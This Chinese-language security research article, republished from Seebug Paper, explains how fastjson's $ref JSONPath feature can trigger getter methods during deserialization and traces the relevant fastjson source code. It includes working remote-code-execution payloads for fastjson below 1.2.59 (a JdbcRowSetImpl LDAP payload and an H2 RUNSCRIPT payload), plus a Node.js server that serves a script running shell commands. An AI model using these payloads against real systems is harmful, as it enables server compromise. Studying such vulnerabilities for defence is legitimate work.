利用 fastjson $ref 构造 poc
2021-06-23 18:18:00 Author: paper.seebug.org(查看原文) 阅读量:95 收藏

作者:lxraa
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

反序列化的过程是把字符串映射成java类的过程,过程为①调用无参构造方法new一个java类;②通过反射的方式调用类的set方法设置字段。因此比较好用的poc一般是利用非纯set方法里的危险操作触发,例如JdbcRowSetImpl poc:

String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}"
JSON.parse(poc);

利用了com.sun.rowset.JdbcRowSetImpl的非纯set方法setAutoCommit:

...
public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }
...

而利用getXXX方法的poc一般利用难度较大,需要先将输入反序列化,再序列化才能触发,如网上流传较广的jackson ch.qos.logback.core.db.DriverManagerConnectionSource poc:

        String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object o = mapper.readValue(payload, Object.class);//反序列化
        String s = mapper.writeValueAsString(o);//序列化

因此比较难找到实际使用场景 以下讨论一种利用fastjson的特性,构造poc,从而利用非纯get函数构造可用性较高的poc的方法

什么是$ref

ref,value为JSONPath语法的方式引用之前出现的对象,例如:

//类的定义:
public class Test {
    private Integer id;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }
}
//反序列化代码:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0]\"}]"; //数组的第二个元素引用数组的第一个元素
Object o = JSON.parse(s);
...

序列化后的类如图所示:

image-20210623151631447

什么是JSONPath语法

https://goessner.net/articles/JsonPath/

JSONPath是为了在json中定位子元素的一种语言,具体语法规则网上较多,不做赘述。fastjson支持JSONPath

利用$ref触发get方法的例子

public class Test {
    private Integer id;

    public Integer getId() {
    //此处下断点
        System.out.println("getid");
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }
}

//反序列化代码:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]"; //引用数组第一个对象的id属性,会触发getId方法
Object o = JSON.parse(s);
...

image-20210623164021838

这就是poc的构造原理

poc

java poc:

// 该poc < fastjson 1.2.59 可用
// 参考 https://github.com/LeadroyaL/fastjson-blacklist/blob/766f7c546d2698ab37cd304644d113e186143da2/readme.md


ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String refPayload = "[{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"},{$ref:\"$[0].connection\"}]";
Object o = JSON.parse(refPayload);

server(nodejs):

const express = require("express")
const fs = require("fs")
const app = express()

app.get("/test.sql",function(req,res){
    res.send(`
    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')
    `)
})


app.listen(3000,function(){
    console.log("listening 3000...")
})

源代码分析

该poc利用了h2库支持远程加载脚本的特性,触发点在org.h2.engine.FunctionAlias.getValue,poc本身的调用链不在本文讨论的范围内,以下讨论fastjson环境下该poc是如何生效的 断点下载com.alibaba.fastjson.JSON : line 165(fastjson版本1.2.58)

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse(); //反序列化关键逻辑类解析,set方法在这里调用

        parser.handleResovleTask(value);//处理$ref

        parser.close();

跟进handleResovleTask:

        if (ref.startsWith("$")) {
                refValue = getObject(ref);
                if (refValue == null) {
                    try {
                        refValue = JSONPath.eval(value, ref); //解析$ref
                    } catch (JSONPathException ex) {
                        // skip
                    }
                }
            }

第二个断点下在com.alibaba.fastjson.JSONPath : line 1634 explain函数 这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,实现类有:

image-20210623155937171

explain()会把一个完整的JSONPath拆分成小的处理逻辑,Segment接口即处理单元

public Segment[] explain() {
            if (path == null || path.length() == 0) {
                throw new IllegalArgumentException();
            }

            Segment[] segments = new Segment[8];

            for (;;) {
                Segment segment = readSegement();
                if (segment == null) {
                    break;
                }

                if (segment instanceof PropertySegment) {
                    PropertySegment propertySegment = (PropertySegment) segment;
                    if ((!propertySegment.deep) && propertySegment.propertyName.equals("*")) {
                        continue;
                    }
                }

                if (level == segments.length) {
                    Segment[] t = new Segment[level * 3 / 2];
                    System.arraycopy(segments, 0, t, 0, level);
                    segments = t;
                }
                segments[level++] = segment;
            }

            if (level == segments.length) {
                return segments;
            }

            Segment[] result = new Segment[level];
            System.arraycopy(segments, 0, result, 0, level);
            //返回一个Segment的Array,后面顺序执行每个Segment
            return result;
        }

第三个断点下在com.alibaba.fastjson.JSONPath : line 74 eval函数,这里顺序执行前面explain生成的segment array

    public Object eval(Object rootObject) {
        if (rootObject == null) {
            return null;
        }

        init();

        Object currentObject = rootObject;
        for (int i = 0; i < segments.length; ++i) {
            Segment segment = segments[i];
            // rootObject:json字符串经parseObject解析后的对象
            currentObject = segment.eval(this, rootObject, currentObject);
        }
        return currentObject;
    }

第四个断点下在com.alibaba.fastjson.util.FieldInfo: line 491 get函数

    public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
        return method != null
        // 通过method.invoke触发get方法
                ? method.invoke(javaObject)
                : field.get(javaObject);
    }

触发效果:

image-20210623162206637


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1613/


文章来源: http://paper.seebug.org/1613/
如有侵权请联系:admin#unsafe.sh